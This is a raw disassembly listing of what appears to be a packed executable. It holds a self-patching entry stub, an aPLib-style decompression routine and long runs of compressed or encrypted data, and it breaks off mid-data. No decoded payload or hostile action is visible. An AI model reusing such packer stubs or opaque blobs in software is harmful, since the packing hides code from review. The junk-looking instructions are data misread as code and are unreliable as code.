mov ecx, offset word_51526A loc_515090: ; CODE XREF: start+70j push eax push ecx call sub_51511B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_515265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51511B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_515132: ; CODE XREF: sub_51511B+7Aj ; sub_51511B+C3j ... add dl, dl jnz short loc_51513B mov dl, [esi] inc esi adc dl, dl loc_51513B: ; CODE XREF: sub_51511B+19j jnb short loc_515127 add dl, dl jnz short loc_515146 mov dl, [esi] inc esi adc dl, dl loc_515146: ; CODE XREF: sub_51511B+24j jnb short loc_515197 xor eax, eax add dl, dl jnz short loc_515153 mov dl, [esi] inc esi adc dl, dl loc_515153: ; CODE XREF: sub_51511B+31j jnb loc_515238 add dl, dl jnz short loc_515162 mov dl, [esi] inc esi adc dl, dl loc_515162: ; CODE XREF: sub_51511B+40j adc eax, eax add dl, dl jnz short loc_51516D mov dl, [esi] inc esi adc dl, dl loc_51516D: ; CODE XREF: sub_51511B+4Bj adc eax, eax add dl, dl jnz short loc_515178 mov dl, [esi] inc esi adc dl, dl loc_515178: ; CODE XREF: sub_51511B+56j adc eax, eax add dl, dl jnz short loc_515183 mov dl, [esi] inc esi adc dl, dl loc_515183: ; CODE XREF: sub_51511B+61j adc eax, eax jz short loc_51518D push edi sub edi, eax mov al, [edi] pop edi loc_51518D: ; CODE XREF: sub_51511B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_515132 ; --------------------------------------------------------------------------- loc_515197: ; CODE XREF: sub_51511B:loc_515146j mov eax, 1 loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j add dl, dl jnz short loc_5151A5 mov dl, [esi] inc esi adc dl, dl loc_5151A5: ; CODE XREF: sub_51511B+83j adc eax, eax add dl, dl jnz short loc_5151B0 mov dl, [esi] inc esi adc dl, dl loc_5151B0: ; CODE XREF: sub_51511B+8Ej jb short loc_51519C sub eax, ebx mov ebx, 1 jnz short loc_5151E3 mov ecx, 1 loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j add dl, dl jnz short loc_5151C9 mov dl, [esi] inc esi adc dl, dl loc_5151C9: ; CODE XREF: sub_51511B+A7j adc ecx, ecx add dl, dl jnz short loc_5151D4 mov dl, [esi] inc esi adc dl, dl loc_5151D4: ; CODE XREF: sub_51511B+B2j jb short loc_5151C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_5151E3: ; CODE XREF: sub_51511B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j add dl, dl jnz short loc_5151FA mov dl, [esi] inc esi adc dl, dl loc_5151FA: ; CODE XREF: sub_51511B+D8j adc ecx, ecx add dl, dl jnz short loc_515205 mov dl, [esi] inc esi adc dl, dl loc_515205: ; CODE XREF: sub_51511B+E3j jb short loc_5151F1 cmp eax, 7D00h jnb short loc_515228 cmp eax, 500h jb short loc_515223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515223: ; CODE XREF: sub_51511B+F8j cmp eax, 7Fh ja short loc_51522B loc_515228: ; CODE XREF: sub_51511B+F1j add ecx, 2 loc_51522B: ; CODE XREF: sub_51511B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515238: ; CODE XREF: sub_51511B:loc_515153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_515259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_515132 ; --------------------------------------------------------------------------- loc_515259: ; CODE XREF: sub_51511B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51511B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_515265: ; CODE XREF: start:loc_515076j ; start+9Dj jmp loc_583DBA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51526A dw 38E9h ; DATA XREF: start+77o dd 1533594h, 8733BCFFh, 0FFAE46B8h, 1AE19222h, 0FE101FCh dd 0F473B9FEh, 685400AFh, 64696D65h, 66778F61h, 1BE10311h dd 8B36FCBBh, 0F0A13B84h, 0F51DC204h, 73655240h, 72613974h dd 5E70419Ch, 38789F2Eh, 8E4EAB43h, 0A447AF44h, 0C47826EAh dd 716E7E75h, 0BFEB1103h, 0AE19822h, 2A7EFDAEh, 21F3BE60h dd 0DF850370h, 0FC582491h, 191FEAEh, 0E13522BEh, 22F2EE0Ah dd 0AB2A843Bh, 0C8C58BF1h, 0E87060D4h, 815D88h, 0E935A3EDh dd 71958907h, 0B50D0C61h, 85102F75h, 83800BA1h, 831DE2BDh dd 8B0C7480h, 0E22DE872h, 0C2C5A7B8h, 714470BCh, 0C53EC424h dd 456A0109h, 2983A3E8h, 83749A68h, 1DFA5E7h, 894B250Ah dd 10D5E90Ah, 0A50214E9h db 0ECh, 7Dh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B003691h fcmovb st, st(7) loc_515351: ; CODE XREF: sdfs____:0051536Ej inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 repne cmp ebx, 49h adc bh, bh xchg dl, [edx] inc ebx jmp short loc_515351 ; --------------------------------------------------------------------------- dd 61DC3736h, 0C2C94126h, 81464004h, 0FF687CC4h, 0DAE44902h dd 80458D40h, 8145D8Bh, 441985C7h, 0AA08D50h, 880AC3D1h dd 0B894118h, 6BD818Ah, 75295D20h, 8D4227E3h, 0C0648EBAh dd 0E8A8075h, 5BF449BBh, 37ABB800h, 0D0D37854h, 8C30FFCh dd 0B0F7754Bh, 5247C3AFh, 46464A46h, 2B42F92Ah, 0A08A61D1h dd 0FDF075D0h, 0FC45EE8Ah, 4EB0A4Dh, 468C3CADh, 0F7403E80h dd 6E84BA53h, 0C7D6134h, 3E907FEBh, 126DCCF8h, 0ECA84F0h dd 4A8110F4h, 4F065C1h, 0D1F8D640h, 0C20339E0h, 0DB332860h dd 301C1C8Ah, 72CCFB80h, 3D390A0Ah, 0EB3E0577h, 142267F2h dd 0A0DF661h, 86F667Fh, 0C34E5F1Eh, 1A10AC0Ah, 0B723041h dd 677460Ah, 18A224DEh, 0ECF05D01h, 7D7383F4h, 0B072021Bh dd 76C0370Ch, 26AA66A5h, 7CEF841h, 0A86A8Dh, 0FFC553Bh dd 0BDA97882h, 0BEAAC1B0h, 8BA5038h, 70E0B9E0h, 20BDFCA8h dd 1FE3840h, 7549470Fh, 0C522B9FAh, 1BBDC6Ah, 0F1125107h dd 26DEB82h, 0F868ED8h, 8EA39F9h, 360F65EEh, 8A3B77D1h dd 0F9E9C426h, 0BC675910h, 8C2C2201h, 5CF952D9h, 2861C3D8h dd 3138A10h, 0FB8C6753h, 46306260h, 0E881A8F1h, 70CBF863h dd 82670034h, 765B4E39h, 0B807100Fh, 0D1043D51h, 46643BC7h dd 2E097503h, 0E0111ABh, 65E4EC48h, 36400690h, 0C05C584h dd 3A0C968Eh, 0A8F53CCh, 8129C204h, 8205718Ch, 0A60EB7E7h dd 182BFF66h, 22047781h, 0C103341Dh, 7533F984h, 3FBC2020h dd 0EFEC0AEEh, 670230CEh, 8C13EC41h, 0FFCC3F7Fh, 459F4021h dd 0A060E9D4h, 152C462h, 11254D8Ch, 9B1AA82h, 845AAB9Ah dd 4C561311h, 82155ECCh, 408117EEh, 8A89D5EDh, 1344B9F5h dd 4397230Ah, 28BC50h, 8C1993A2h, 0DA8D67DBh, 23CC8200h dd 0BC2E76B3h, 5DDD3EEDh, 5E28183h, 410014EAh, 1BC316D9h dd 883233h, 22F3A5CAh, 0CCDE2DA9h, 65E85407h, 10D10BAAh dd 378C3A86h, 0E40B09EAh, 88F0A800h, 0D691328h, 6A8619C8h dd 4202C21Ch, 2A201517h, 2B2380h, 5649FE3Dh, 0BFE3669Ch dd 96829400h, 0F9BBFF13h, 9EEA557Dh, 7AB84940h, 0FB2CA45Ch dd 8A89B410h, 222718C8h, 452E004Bh, 0DEC40DACh, 26C43649h dd 0E90F0C12h, 0B8890091h, 4AA21455h, 0AB62017Eh, 0EA200949h dd 0B6238012h, 609013EDh, 0E93D00C8h, 0ECC3CD5Ah, 0A7090F3Ch dd 15CB699h, 0F7E0F32Ah, 637024D3h, 6DD8242h, 0B04CCA2Ch dd 0C358C09h, 0B63D00F6h, 0C058880Dh, 1841790Ch, 0C03F1049h dd 83C7BAF9h, 0EA4C73AFh, 0B53D0007h, 3CCA75A1h, 61045745h dd 0FA52CC8Ch, 590D680h, 0BB67070Ch, 0E610D66Ah, 0B1003703h dd 0A2EA82E5h, 0FC59C3F8h, 1D046A89h, 0CDD81FF6h, 0D81F9EC2h dd 0C3EFE9FAh, 18F80885h, 0EA87B382h, 8C2A832Eh, 32448840h dd 640A00A7h, 0AC9FBF28h, 8D24222Fh, 0AE4150EAh, 0ED93236h dd 0FB347FE9h, 50EF004Ch, 28421DC3h, 550983FDh, 3C8E83Dh dd 0C02CA5CAh, 3A15A01Fh, 377825BEh, 0C1082E3Eh, 0DC851B84h dd 5113136Dh, 6500E872h, 0BDAF3A62h, 25A816B5h, 4C4A1DA6h dd 4A101557h, 0B77340h, 28C843A9h, 3B3DA4DFh, 89263E1Ch dd 0BCA671F0h, 0CF8E00D3h, 3B2EF467h, 0B6009598h, 3C4EB1B4h dd 31D4DE5Ch, 5E383871h, 0DAB51069h, 115E610h, 5114225Dh dd 80A70879h, 2058AEC9h, 3825F1DFh, 0AC01CCBCh, 0B9B01535h dd 2C408E5Ah, 0FA7360BBh, 0A98066h, 89378AB1h, 0C4635834h dd 0AF4A501Ch, 31F0BA5Dh, 0EF26FB5h, 0F879863Bh, 5519DA8Ch dd 15F0800Ch, 98115Ch, 97D83252h, 3D8D3031h, 0D2292A60h dd 119275h, 0BA914410h, 0B51A27F4h, 0B9B20831h, 0D0CF8DBDh dd 1E6D466h, 9EC9913Eh, 0C4362441h, 8D03F8E7h, 22185FE0h dd 54A80F59h, 4440AA4Dh, 4F99DC7Eh, 0B58194A3h, 40B9F912h dd 2366A090h, 0B3628300h, 2528958Dh, 0D044F5BEh, 40B9A41Dh dd 6E2D1850h, 12551889h, 7AB87420h, 0BC375577h, 8EACE4h dd 0B2304026h, 0AAC3FD8Ch, 4A51024h, 61863504h, 133E20Fh dd 7F71F33Bh, 2712E029h, 0A810B0A3h, 1005C25h, 0C443C930h dd 0A1F8E324h, 95185160h, 28224EDAh, 44EC50E4h, 7300F8AFh dd 0E953DEE6h, 1DF609DCh, 0C4F15DB1h, 333E74h, 4284A855h dd 4F8E000Bh, 4BFF4E53h, 123A3D25h, 0CD2F077Eh, 0CA77CBF6h dd 1648AD00h, 0B70603FFh, 772A3520h, 0E28DC002h, 813819DCh dd 0A6A36448h, 0E9C98987h, 0F1D04D46h, 190DC7A1h, 0D0993095h dd 504C0ADCh, 22AFA0ACh, 3F013389h, 0B0D23ED1h, 0A4F76FEEh dd 1B51C88h, 0E093017Fh, 0B0BD021Ah, 718FD178h, 0DCE10E68h dd 8814549Fh, 4C9DCAC0h, 4700131Bh, 6C5C0A97h, 6F2AE44h dd 0F5BC7ED4h, 2D0C4848h, 0B03422EAh, 0E9DC18DEh, 0C1D11844h dd 3317A20h, 70A41802h, 32864779h, 0C0BAD434h, 7B92EC04h dd 14008D0Eh, 0E6D68CFFh, 490010B8h, 43AE0650h, 0C8DA5C6h dd 673FAC54h, 0EA102360h, 550559F4h, 0CF3B094h, 0A0C1BC90h dd 0D30AB90Ch, 151E68DEh, 0FC028387h, 2BB67D00h, 0F9A4E00Ch dd 24505260h, 23C9EDh, 6BCA33DAh, 0CD155EF7h, 0B4002AE4h dd 517F9B4Ah, 766952h, 0ECD3F0E0h, 5F4CFA88h, 6DA91607h dd 0E04F3FB7h, 71855DE3h, 0F0BC0718h, 815EA078h, 0F0A56DD5h dd 9F002021h, 0CAFB9E73h, 3F4D40Ah, 0A1EFF288h, 24E8162Ah dd 6203AA27h, 62F15EEh, 0DB79D8B8h, 2EC900FCh, 231BAFFEh dd 0F228B29Fh, 3E3C802Dh, 7DF8678Eh, 2CCCACF4h, 921298AAh dd 122D0A98h, 88D458h, 0DAB89880h, 10C2AEBCh, 400D7214h dd 61FA258Ch, 0D73B306Ah, 14142420h, 0AC2D5F2Ah, 17EC2103h dd 0F63EDA07h, 1E0D7D21h, 0C00938D5h, 0D856F8F6h, 0A53F5BB2h dd 7E583261h, 5DE048C2h, 0A070260Ah, 2E2584B0h, 1218D07Ah dd 0B183D240h, 71803989h, 69BED735h, 31036159h, 0DAE3658Fh dd 0AA519050h, 45E492ECh, 0A4B700A6h, 98918085h, 9CEAB507h dd 32AE94Ch, 293B7971h, 9BDB6B2h, 4402EBA0h, 0D8017232h dd 43F52EB5h, 6715518Ah, 3BF580A8h, 0C807C15Fh, 0CE003A90h dd 8A1B0E65h, 7C50D93h, 5F0217F7h, 0EE9F401Eh, 0C478D6B5h dd 0A1100A15h, 0FD7002BCh, 0A326A264h, 605E95A8h, 70EF21A0h dd 9655D83Ch, 0D990B0ACh, 0C25D565h, 0AF7C1669h, 8244D729h dd 523D2AA8h, 0AAFC50B0h, 0C18EFD22h, 0A26C648Ch, 8607F149h dd 2B01F3DFh, 0E0292EF0h, 0A01E0C54h, 0BEE96516h, 0CFBC2300h dd 3C08E76h, 0AF3903C7h, 0CAC2E4D2h, 993F19A8h, 9CB0F450h dd 25A0C9C1h, 5C58200Eh, 0B4510085h, 0A3945A1h, 422C2DACh dd 684204C3h, 821E00C0h, 0C8911C26h, 0ACDEB8B0h, 104A6031h dd 2E72CA29h, 80B6D8A0h, 78C0FC92h, 7DAF579Ah, 0D310F74h dd 1B803563h, 0E8125E01h, 834AA4Dh, 83803A2Dh, 3F897FEBh dd 790B4172h, 805974D7h, 5CBF5750h, 0D69103C1h, 9458BBDFh dd 0AC4171D2h, 0C2B41255h, 27D461CCh, 2F2D2E10h, 0B602B8A4h dd 96BA29B5h, 418C6A53h, 0F8356D9Ah, 6224E2FCh, 2F2E98E1h dd 50C87444h, 3493A825h, 81B056CAh, 0DF9C64h, 17B22E14h dd 8FBADF6h, 52A631A4h, 0BA37873Fh, 7E08AB8h, 4721B4h dd 5C042F39h, 55229BA4h, 0B70CEF70h, 50C6500Ah, 8B020318h dd 4605B4DEh, 0B663A002h, 0A1A4F2h, 960B55AAh, 0E12188C1h dd 0C98BA5ACh, 3010B6AFh, 54B1AD64h, 15589901h, 1180AC08h dd 0B0DFA950h, 5B00E744h dd 9B63F61h, 5418207Fh, 722D14B7h, 0EAAE000Bh, 0DFC19297h dd 800696B8h, 283F062Bh, 0FACF00E9h, 5984154Bh, 9770F7F9h dd 0F10C3B01h, 0F3E8E95h, 887F8985h, 4BAC403Ch, 33D727A5h dd 0BCB3461Fh, 742AFB80h, 1D767A7Eh, 6C25EBAFh, 0D166183Eh dd 8500E988h, 27287819h, 0F39E2B7Eh, 17C55F8h, 52AD30FBh dd 2465A63Dh, 5150B628h, 41C169A8h, 354FD0C0h, 2E020CECh dd 0A7CFA7h, 48A19E01h, 0B3093324h, 257DEB8h, 979C64Ch dd 990F7C80h, 2C0BDAEBh, 0A07ECA2Bh, 208B604h, 0A822832Dh dd 4BC2045Bh, 0C1E34CD0h, 2863A00h, 0AD84E08Bh, 0EAB6884Eh dd 0E8CB0428h, 25625100h, 0A1BD995Bh, 2B1403DFh, 69B47EF9h dd 0F5733112h, 513D5804h, 5D6ED500h, 8D1338F0h, 0B420A964h dd 60BEB22Bh, 20B5A02Fh, 48F95E25h, 6B121D88h, 6830E13Ch dd 80605A35h, 2E7D2736h, 43CE34Dh, 0E714A126h, 155B4CCh dd 0F768C1DDh, 0D4323927h, 8C01A75Fh, 7DB3237Bh, 3CD82A3Fh dd 0A09FF8DAh, 816B0A30h, 81C093FBh, 94632425h, 5F10D00Eh dd 0A82500A5h, 9C5E1B0Dh, 0D904A401h, 0E721C51Fh, 332FE891h dd 0ECDA2D10h, 8FA0CC51h, 81562810h, 431AB9A9h, 0A4E28040h dd 0E04CBA5Ch, 0FDE0077Eh, 0C3DE8DFFh, 1805372Dh, 49C6C1C9h dd 6B881806h, 32E11019h, 9D30643Ch, 70908849h, 610E8E5Eh dd 20ED65A8h, 8339E806h, 0D69205FFh, 0C184CEFDh, 8C8A2C98h dd 39358830h, 297D580Fh, 1324BE01h, 505E15CAh, 0CD0EBB0h dd 177BA900h, 87B3D8F9h, 414364CFh, 44005637h, 0FB69A812h dd 0D64709ECh, 0C48271A5h, 0B0013B96h, 0E3D9F87Ah, 3860F449h dd 0B7614046h, 1F78645Ch, 23A7E13h, 5387931Eh, 554CE08Dh dd 3B7240FAh, 8414DD49h, 8D0766E2h, 42C04ED6h, 0AE984AA7h dd 41E83E04h, 788173EBh, 7D005CA6h, 6600A0BBh, 0A7AE45DDh dd 122344AFh, 80D2B1C9h, 0A207D840h, 3244B098h, 0E962E428h dd 50751501h, 37D2DD8Ch, 0BDBB9200h, 0BCE0F2E3h, 95B4E89h dd 5820C12Ch, 3387F4C8h, 1C65B800h, 0A767B495h, 0F9712C58h dd 34DF0A90h, 10667104h, 3804F4Dh, 56D169E7h, 769020AAh dd 7183F2Ch, 0DF18E6BFh, 0BE461803h, 5B1040DEh, 0F3A3CE00h dd 0BFE9BAD4h, 2C551C94h, 53099F4Bh, 0C29F0E34h, 400AF606h dd 9DAA5200h, 0DB2C7784h, 3757781Bh, 0B1108CB4h, 860B074Fh dd 0C54D0528h, 2F00099h, 55F19138h, 0C674091Ch, 57DE002h dd 0BCBCDBAFh, 0E8B84430h, 0F9F7CE0Bh, 0A69A8074h, 1770AEC5h dd 0D65B6EEh, 0F129A4DBh, 0BE180FEh, 9A322780h, 0C19F0750h dd 0C0E4AC9h, 44007DF0h, 0CA1E19A7h, 0A16D8855h, 3886DCA8h dd 90053F20h, 8685029h, 0C17B7606h, 9CA71BD8h, 0CCC041ABh dd 0F1C0C0A9h, 7251617Fh, 2791C1BCh, 80125B4Dh, 0DFB2879h dd 0C1A07259h, 5AD9C221h, 67E85026h, 33544DE1h, 272A4718h dd 5819E0C3h, 0A371DDB0h, 22CE6A11h, 255F1D08h, 0E9519A03h dd 0C050E3A6h, 0BC8E49h, 0E074FA28h, 4ACA1633h, 0C5618EEFh dd 41B58C86h, 89296F77h, 0C408420Ch, 47414E65h, 55591FC6h dd 34EDA807h, 8454DFC5h, 29695C30h, 9358C1DDh, 7C83877h dd 0D9F778A0h, 641E073Ah, 6161A0EFh, 0EC388D9Fh, 271E31BDh dd 9700C34Ch, 0F9FA5A4Bh, 0F7A30908h, 1800017Dh, 51CCF8DDh dd 679F5800h, 49EDDAB3h, 0D24E387Eh, 0F760160Bh, 5591FF80h dd 0FA18FD46h, 3F406D3Ch, 0C2BB20D9h, 0C36B5Ch, 0EC69C8FCh dd 3347A53h, 0D24B13DDh, 7097C351h, 9FD4A27h, 0F8A2CA02h dd 40D92A2Fh, 7C5F7B0h, 0FC961365h, 24F6859Eh, 0BF046AC0h dd 4D0F854h, 0FA901A50h, 4ED880C8h, 0A5003AA7h, 111F3313h dd 3C923CC1h, 0FAB84B18h, 7E266C80h, 9EB6DA36h, 51C90918h dd 1CA16840h, 804D3524h, 2210DD40h, 3EE45FD2h, 42552901h dd 3D5E1ABAh, 274C0h, 0F79AB7BDh, 8E1451C8h, 72A46520h dd 0D83B004Bh, 55D2170Eh, 960938C6h, 80D04E26h, 81EC3019h dd 0E6BD0906h, 8D800AD8h, 0ADF98DA1h, 493C2407h, 0FCD42294h dd 942E38C5h, 65DA01BBh, 0A3639A19h, 9049F0D8h, 0EDD0176h dd 0CA5AD218h, 4A57DC3Eh, 8EF1300h, 184FD37h, 69FA1DD8h dd 11510702h, 6EDFE08Dh, 7E009F36h, 7413D33Ah, 0E0289Dh dd 874D9841h, 39191196h, 34702703h, 1970ED7h, 98135340h dd 0C06EE06Ah, 47007B9Eh, 1F7408DDh, 13ABE4Ch, 0F85212Bh dd 706CC4EFh, 0C800342Bh, 160368BBh, 64133Fh, 3BD5DFFCh dd 0A7477C4Eh, 0C1560816h, 0BF8C6Ah, 3AD22E7Dh, 679958h dd 4F02DAAEh, 0BCA23CA9h, 166A5558h, 8C1D44C1h, 0C3F0FEC7h dd 0A07C2BD3h, 7469BBDBh, 1D3A00F7h, 65CB268Dh, 0A5005836h dd 1FFCDA4Ch, 94D27h, 85548F3Dh, 32F1FEFBh, 1E0099F6h dd 89EE6DBh, 0F1A4F16h, 0D09D6995h, 37355BE0h, 0D2ECBDCFh dd 3FC23C00h, 0F9852728h, 3409010Bh, 0D50470FAh, 15EEF8B7h dd 90104C00h, 355FDFFBh, 797A3F53h, 69160E81h, 6043095Dh dd 0A58844ACh, 357E0AFFh, 4888FCD7h, 80FDDF04h, 6B990DBBh dd 970305A2h, 7CF19814h, 0BAC1A1EDh, 8FB0344Ah, 55009E68h dd 0E09908AAh, 5986B7Eh, 9C087A1h, 761C70E6h, 10C0A837h dd 0BDEF3C7Fh, 0C6FE1Dh, 8E103F5Eh, 0A47F0E4h, 460BC5E0h dd 0C00D3B07h, 0C89930h, 0B8EAA34Dh, 5634D4F3h, 8B0FDD3Bh dd 68A80A4Eh, 1D3C8174h, 0C220867Ah, 0F9D088C9h, 1DB1CB1h dd 9980CB99h, 75064357h, 3301D4F5h, 0B8086576h, 2180D268h dd 486E9822h, 450FA0E8h, 9CF265BCh, 0D9D8B3B9h, 6286D8BFh dd 1B64B657h, 21F6095Eh, 86C51F00h, 976A0C9Bh, 0B88C0047h dd 0B4C1D9FBh, 5001CCCFh, 0ECAE765h, 9850C64Dh, 29963A2h dd 0BC9648CEh, 98D84128h, 121B860h, 1FF2999Ch, 80C861ABh dd 59AEB0B2h, 7602A6E4h, 0E307492Ch, 18F0D813h, 18D6C072h dd 5B2FD9C2h, 272C0542h, 83C1E5C2h, 0D04355C4h, 0DD4F412h dd 0D7239CA7h, 0A8CCF418h, 47989554h, 11375F18h, 303FF58h dd 0AA511B9Bh, 6000D338h, 7C7A4BE4h, 5077CFADh, 0A5F18028h dd 60C0E498h, 50F80Ch, 0B72F0F18h, 8BA05E7h, 4FD6C700h dd 69A265Ch, 69CA444Dh, 71825800h, 1DD5A05Dh, 7D19C0C8h dd 84E325CDh, 0A873BE01h, 850164E5h, 3005B842h, 0D3119968h dd 0B9887E48h, 99610480h, 0E7A06B2h, 580B5B8Ah, 10DDB65h dd 0F3DD598h, 0A55A00BBh, 6AF10078h, 0C9587A9Dh, 3B0657FEh dd 0CE1E506Bh, 62720051h, 0EE5F4FCCh, 0CBFCA1EBh, 4482A600h dd 0CA1E12DEh, 83CD289Bh, 1FE50h, 9A31D089h, 55E3B60Ah dd 0B2099078h, 20FF76BBh, 95F5A380h, 4E2F0001h, 9B3F7A43h dd 0C50F0864h, 6604E3h, 0AA52B331h, 0C8890BFh, 0D21F3433h dd 4A24ADB8h, 854200C2h, 0F0DC84D6h, 6486CE60h, 0A5B95710h dd 1980C7C8h, 2C8886B7h, 9AE74A9h, 0D9CC9251h, 4F4D0C03h dd 0D168C1B0h, 5849507Ch, 0D9F20654h, 12C10157h, 58D04E03h dd 1104E8BCh, 7E14C890h, 0B948AEC5h, 536E30FAh, 1830B901h dd 586F7BF2h, 789B04E0h, 4726011Dh, 0B57ADCE4h, 0E86084F7h dd 0C9809CAh, 0CF990864h, 0BAC49E48h, 1C4245Ch, 213331C3h dd 87CC4049h, 0D96069C6h, 0ECFAA3C9h, 0FC42F8ADh, 567D0EF1h dd 0E8E015D4h, 43274E78h, 0A8FB48h, 0F440CB01h, 148AB4C7h dd 98C2154Fh, 4D1DE30h, 0B7793DFEh, 4665D8A0h, 0C49ECB01h dd 61E1B539h, 4E29C30h dd 0E0535170h, 0F554C220h, 1586D130h, 98A15767h, 1A80C688h dd 217386BAh, 81B50389h, 0D4683169h, 12D5C900h, 0FFE07AFEh dd 8B1D0153h, 38757086h, 3F49F047h, 0CCF0E854h, 0BC787326h dd 1BE9E08h, 1C4FCB25h, 0CC688535h, 0A052C3ACh, 0E3A75404h dd 0D9C42D40h, 892E45Ah, 8FD6A53Fh, 0BD0FE802h, 9E192558h dd 789F18C1h, 0FD141128h, 7E030D01h, 0A5DBAEEDh, 0F040C2Bh dd 0F500E921h, 3E27F90Dh, 2EE3F2Dh, 725994B3h, 8C66A4B4h dd 45251880h, 0B4A0D375h, 0A918D76Ah, 0DB28DA58h, 0ECB3020h dd 4C81B6B0h, 0E118A266h, 0C71220F0h, 6588D8A2h, 0A5F580ACh dd 5D06E2CFh, 0BF8258B4h, 68FF5B27h, 1A48D4A4h, 10102F3Fh dd 0F1C99031h, 0FE1982FFh, 603EDAB4h, 81D254B8h, 0E01C66E8h dd 0AB87ACh, 5DE9D7CFh, 0D95C91B1h, 0E9E73F88h, 74BF6510h dd 24B7E03Ch, 0AA9C04CDh, 1FE6709h, 4BC609A3h, 0A2C00C2Bh dd 68F68D21h, 0B0AC4300h, 4B53A920h, 8CAF509Ah, 0C09E01CAh dd 0FA447E93h, 70743013h, 0A2175F00h, 0DB25966Ah, 9CCE54F3h dd 0B4FC070Ah, 2021AE09h, 52D3A8CBh, 68355107h, 1D93C00Bh dd 48D900C7h, 0B8369DBAh, 3100E1DCh, 6B01E0EAh, 0A3B66344h dd 81B7F8E4h, 30B44138h, 0E4A89364h, 0C205CCF7h, 3F04A7DCh dd 24D9FC88h, 8008275Fh, 0DC4BFE5Ah, 930F5208h, 0E9A7E93Dh dd 183070F3h, 89B11E0Eh, 0FB00B7FFh, 0CE35DAB3h, 14149CBh dd 0C9013974h, 0D0F75A87h, 1492F6AAh, 4F4C2D01h, 0D16D9481h dd 0F0B2D430h, 180A8E0h, 4C1BE8D0h, 0C8809077h, 5E7C3798h dd 6FB30A00h, 0AD3F134Eh, 0BB44167Dh, 4BE441D3h, 11F3BA2Eh dd 0CB00B5AFh, 3B69A9CCh, 72D480A9h, 3C6B3319h, 0DB1291AFh dd 3B8E676h, 7F34801Ah, 724000E0h, 151B2766h, 91C32B77h dd 891F23EDh, 9050ACD3h, 0BF810Eh, 7D55E404h, 0D0DB9434h dd 0E82440D4h, 0C9988CA4h, 5C93A802h, 0E07FD71Ah, 25505B1Bh dd 0B8C3F622h, 0C9BC90C5h, 0C1269F8Fh, 0FBC00C61h, 467DFD0Dh dd 10225Dh, 8E0DF3EBh, 704B85Eh, 7C87831Dh, 0D30230A6h dd 0C9B90E5Ah, 54207194h, 9BAD261Fh, 0AF8C081Ch, 580EC113h dd 38659009h, 0FC402060h, 7D23FE0Dh, 2F91155h, 0D90DF4EAh dd 9B04C136h, 8C5004E6h, 0DE748FF0h, 6F61A260h, 0B82DCEA9h dd 0CD6A12A7h, 69EC21B4h, 269C50DEh, 0FC0AC83Dh, 0B216DBE1h dd 0BDD92307h, 61FF2037h, 6D3CCCF6h, 0CE2A50E8h, 48207289h dd 53E09AFCh, 1080E4A2h, 746D33E9h, 95DDCC05h, 0B442CF23h dd 44CED64Ah, 995517E8h, 23A83ACDh, 0C1BF00BAh, 41808376h dd 3E08204h, 0F0B85945h, 0B624753Ch, 6801C018h, 0C4C53F7h dd 0A8CE03Ch, 3D6F0068h, 0CBADB4FFh, 0A7406E42h, 0FA8994Ch dd 0C64F3A99h, 0A5FFF6E0h, 5E09D06Fh, 90F2AE28h, 5B1C3Ch dd 5A090B70h, 364A488h, 0E992800h, 4DF14C3Eh, 98E07BD3h dd 6CC14858h, 701C423h, 1C53F968h, 8A88A618h, 29680010h dd 4054ED6Bh, 0E205B22Eh, 6E435590h, 43C59892h, 0B310004h dd 22E0E93Eh, 0E1168C6Fh, 842452D9h, 0C0D9981Bh, 12A8026Bh dd 88BBA39Ch, 21C0FBDCh, 9F87E442h, 9CDA1DC2h, 0AF200E3Ch dd 7CC1681Ah, 71476EFh, 576586CFh, 40C4C4E8h, 0BE86B818h dd 0F0D7032Ah, 0C0FE5B53h, 8E1DB802h, 4D34DCC9h, 21CEE008h dd 220B1B2Dh, 0E7E09B2h, 0AA95E1A3h, 0B821AEB8h, 110EA032h dd 2707350h, 97DDAA56h, 27EC6077h, 0FE440D3h, 56E840C0h dd 555A629h, 133DD889h, 0CDEC92C7h, 0DB7454E0h, 9A46DC90h dd 80DFA04h, 8BD8857Eh, 0F2F40028h, 0F895520Dh, 7DB5008Eh dd 0AA5716ADh, 0CB80D79Ch, 98D65458h, 849112B0h, 0E3849DB6h dd 41FA5186h, 4AB0817Eh, 0B1BE2007h, 5C1210F1h, 41C848C0h dd 0A00E0B0Ch, 81098463h, 